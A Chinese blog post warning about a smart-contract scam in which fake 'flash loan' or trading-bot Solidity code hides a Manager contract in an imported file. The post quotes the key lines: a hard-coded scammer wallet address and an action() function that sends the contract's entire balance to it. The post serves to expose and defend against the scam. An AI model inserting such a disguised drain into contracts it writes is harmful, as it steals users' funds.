揭露最新solidity智能合约骗局,不要再上当了

近期大家如果在各大网站、论坛、交流群里看见所谓的“教你如何部署一个XXXX”的时候大家一定要注意了,近期一种从油管开始诞生的新的骗局开始流行起来,没有任何区块链编程基础的小伙伴们很容易上当受骗,为什么写这篇文章也是因为我在CSDN论坛上看见有人在用这个骗局行骗了,已经相继有很多人被骗,大概普遍为这个样子:

揭露最新solidity智能合约骗局,不要再上当了_第1张图片

 

夹子机器人简单来说就是一种高频自动化交易套利机器人,原理就是狙击一些土狗项目的大额交易在大额交易变成“事实”之前抢先插队在大额买入或卖出之前买入,并且在大额买入或卖出成功后立马卖出或买入完成套利,骗子会诱导你往你自己部署的合约里面转钱作为启动的GAS,只要你按照骗子的指示去照做了,你的钱就会到骗子的钱包里面去,相继已经陆续有人被骗了:

揭露最新solidity智能合约骗局,不要再上当了_第2张图片

 

接下来菠菜菠菜给大家详细解析一下骗局是如何实施的。

事情还得从我前段时间在油管上找如何使用闪电贷(Flash Loan)视频的时候,偶然看见了一个这个视频:

揭露最新solidity智能合约骗局,不要再上当了_第3张图片

这里简单介绍一下什么是闪电贷(Flash Loan): 闪电贷其实是一种区块链的去中心化金融(Decentralized Finance)上的协议, 可以让我们无抵押物借出来我们想要借的资产,你肯定会想,没有抵押物借的钱不还怎么办?这就是区块链的魅力所在,因为闪电贷借出来的钱如果你在一个区块打包完成之前没有还上这笔钱,一切都会时间回溯,相当于你并没有借出来过,你借钱的这个行为没有变成一个“事实”,但是如果你在一个区块打包完成之前把钱还上了,你的所有行为就会变成事实,闪电贷目前普遍被用于套利,在区块链的历史上就有很多黑客利用闪电贷恶意套利过数千万美元不等过,成本无非也就是一次GAS费而已,但是收益确是没有上限的。

我们说回到这个视频,视频这里的标题其实是教我们如何使用闪电贷,并且所有的代码他已经提供了并放了链接在下面,代码长这个样子:

揭露最新solidity智能合约骗局,不要再上当了_第4张图片

我们可以看见这个合约里面导入(import)了多个来自github上的合约,并且这些合约都写着Uniswap和Pancake相关的接口合约,看起来跟闪电贷非常的有关联性,但这是骗子的第一步障眼法,首先骗子把合约的名字写成了Flashloan,然后下面的那些代码是让你填你想借的币种和数量,实际上不会触发任何函数功能,我们来看看这个骗子合约关键的一个代码:

manager = new Manager();

首先我们来讲一下这个代码的作用,后面的new Manager的作用是重新部署一个新的名为Manager的合约,首先这个manager的功能我们在这份合约里面是找不到的,那么我们如何找到这个manager的功能呢?别忘了骗子在最开始导入(import)的几个合约,让我们点进去看看。

这是导入(import)的第一个合约:
ILendingPoolAddressesProvider.sol

揭露最新solidity智能合约骗局,不要再上当了_第5张图片

可以看见这个合约只是一个接口,并没有任何功能的实现在里面,所以这一份合约的作用只是障眼法。

我们来看IPancakePair.sol这个合约:

揭露最新solidity智能合约骗局,不要再上当了_第6张图片

同样的也是障眼法,都是接口,并没有任何功能实现。

那么只剩下最后一个合约IUniswapPair.sol: 

揭露最新solidity智能合约骗局,不要再上当了_第7张图片

揭露最新solidity智能合约骗局,不要再上当了_第8张图片

所有的猫腻都在这个合约里面,相信大家可以在合约的开头看见Manager这个函数名称了,并且整个合约几乎全部的代码都变成了注释,有一定编程基础的小伙伴们应该都知道注释是没有任何功能实现的,所以整个合约最关键的代码是这个:

pragma solidity ^0.5.0;
contract Manager {    function swapDepositAddress() public pure returns (address) {        return 0xE00693b76461F0B2f42eb1368559B398BFA9f1DD;    }

我们回到骗子让我们部署的合约里面,最核心最关键的在于最后Action那个函数:​​​​​​​

function action() public payable {      address(uint160(manager.swapDepositAddress())).transfer(address(this).balance);  }

骗子通过重新部署manager合约调用swapDepositAddress()功能返回了他的钱包地址,然后在action功能里面设置成了,只要点action,这个合约里面的所有余额都会转给骗子的钱包。(其实我自己也是被骗了一次才去仔细研究这个合约的,不过我是在测试网上部署的,所以一分钱都没有损失)。

简单总结一下就是骗子诱导你去部署他给你的合约代码,然后你往里面转钱再去点运行合约所有的钱就会自动转到骗子的钱包里面去。

揭露最新solidity智能合约骗局,不要再上当了_第9张图片

现在网上基于此骗术改进的案例不在少数,像CSDN上的骗局代码本质上基本都是一样的,无非就是改了一些函数名称加了一些障眼法,所以,大家在部署来自于网上的合约的时候一定要好好检查一下。

你可能感兴趣的:(智能合约,区块链)